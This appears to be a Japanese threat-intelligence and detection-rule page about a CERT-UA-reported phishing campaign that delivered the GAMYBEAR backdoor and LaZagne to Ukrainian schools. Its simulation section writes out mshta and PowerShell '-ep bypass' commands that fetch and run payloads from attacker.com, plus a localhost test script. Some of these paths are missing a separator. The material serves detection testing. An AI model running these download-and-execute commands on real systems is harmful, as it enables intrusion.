GAMYBEARツールを使用した東ウクライナの学校への標的型サイバー攻撃(CERT-UA#18329)
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
資格情報収集キャンペーンが、Zip添付ファイルを含むフィッシングメールを介してスーミ地方の学校や公共機関を襲いました。アーカイブを開くと、通してHTAファイルがトリガーされました mshta ユーティリティが、GAMYBEARバックドアとLaZagne資格情報ダンパーを配備するためのPowerShellスクリプトを引き出し、HTTPベースのC2を確立し、ターゲットディレクトリからファイルを流出させました。
攻撃分析
CERT-UAは、2025年5月26日にハイジャックされたGmailアカウントから送信されたフィッシングメッセージに初期の侵入を関連付け、CERT-UA#18329アラートでキャンペーンの詳細を提供しました。フォレンジック分析では、複数段階の感染チェーンが露呈しました:ZIP → HTA → update.js → PowerShell → GAMYBEARとLaZagneマルウェアを伴い、悪意あるURLからの継続的なダウンロードを伴ったレジストリエントリを介した持続性が保たれていました。
緩和策
すべてのメールアカウントに対して多要素認証を強化し、HTAや信頼できないPowerShellスクリプトの実行をブロックし、レジストリのRunキーをロックダウンし、アプリケーションホワイトリストを実装します。参照されたファイル名、ハッシュ、およびネットワークインディケーターを認識するために、エンドポイント検出規則を継続的に更新します。
対応
影響を受けたエンドポイントを直ちに隔離して、侵害されたGmailの資格情報をリセットし、特定されたすべてのIOCを収集し、GAMYBEAR、LaZagne、および関連するアーティファクトの包括的なスキャンを実行します。CERT-UAにインシデントを通知し、関連する脅威インテリジェンス共有チャネルを介してIOCを配布します。
攻撃フロー
検出
GAMYBEAR C2通信の検出[Windowsネットワーク接続]
表示
GAMYBEARバックドア実行の検出[Windowsファイルイベント]
表示
バイパス付きmshta.exeおよびPowerShell実行の検出[Windowsプロセス作成]
表示
IOCs(HashSha1)を検出する:GAMYBEARツールを使用したウクライナ東部の教育機関に対するサイバー攻撃(CERT-UA#18329)
表示
IOCs(DestinationIP)を検出する:GAMYBEARツールを使用したウクライナ東部の教育機関に対するサイバー攻撃(CERT-UA#18329)
表示
シミュレーション
シミュレーション実行
前提条件:テレメトリー&ベースラインの事前フライトチェックが合格している必要があります。
理由:このセクションは、検出ルールをトリガーするために設計された敵の手法(TTP)の正確な実行を示します。コマンドと説明は、特定されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリーを生成することを目的としています。
-
攻撃の説明&コマンド:
-
ステージ1 – 悪意のあるHTAの配備: 攻撃者が
evil.htaを妥協されたウェブサーバーにホストします。 -
ステージ2 – 実行
mshta.exe: Windowsのコマンドプロンプトを使用して、攻撃者はmshta.exe http://attacker.com/evil.htaを実行します。これにより、コマンドラインにmshta.exeが含まれるプロセス作成イベントが生成され、ルールの最初の条件を満たします。 -
ステージ3 – PowerShellバイパス: システムの実行ポリシーを回避するペイロードを実行するために、攻撃者は
-ep bypassフラグを使用してPowerShellを起動します:PowerShell -ep bypass -Command "Invoke-WebRequest http://attacker.com/payload.ps1 -OutFile $env:TEMPp.ps1; & $env:TEMPp.ps1"これにより、2番目のプロセス作成イベントが生成され、正確な文字列
PowerShell -ep bypassを含み、2番目の条件を満たします。
-
-
回帰テストスクリプト: 次のPowerShellスクリプトは、自動化され、繰り返し可能な形で上記のステップを再現します。
# ------------------------------------------------- # 回帰テスト - Sigmaルールのトリガー mshta & PowerShell -ep bypass # ------------------------------------------------- # 変数 – あなたのラボ環境に調整 $htaUrl = "http://127.0.0.1/evil.hta" # 到達可能なHTAファイルを指す必要があります $psUrl = "http://127.0.0.1/payload.ps1" # シンプルなPSペイロード(例:`Write-Host "pwned"`) # 1. mshta.exeを呼び出す Write-Host "[*] $htaUrlに対してmshta.exeを起動しています" Start-Process -FilePath "mshta.exe" -ArgumentList $htaUrl -NoNewWindow # プロセスログを確保するための短い一時停止 Start-Sleep -Seconds 2 # 2. 実行ポリシーバイパスを使用してPowerShellを呼び出す $psCmd = "Invoke-WebRequest $psUrl -UseBasicParsing -OutFile $env:TEMPp.ps1; & $env:TEMPp.ps1" Write-Host "[*] PowerShell -ep bypassを起動しています" Start-Process -FilePath "powershell.exe" -ArgumentList "-ep bypass -Command `"$psCmd`"" -NoNewWindow # ロギングを許可するための一時停止 Start-Sleep -Seconds 5 Write-Host "[+] テスト完了。警告をチェックするにはあなたのSIEM を確認してください。" -
クリーンアップコマンド: 一時ファイルの削除と、残っているテストプロセスの終了。
# 一時ペイロードをクリーンアップ Remove-Item -Path "$env:TEMPp.ps1" -ErrorAction SilentlyContinue # オプションでテストによって生成されたmshtaまたはPowerShellインスタンスを強制終了する Get-Process -Name mshta, powershell -ErrorAction SilentlyContinue | Where-Object { $_.Id -ne $PID } | Stop-Process -Force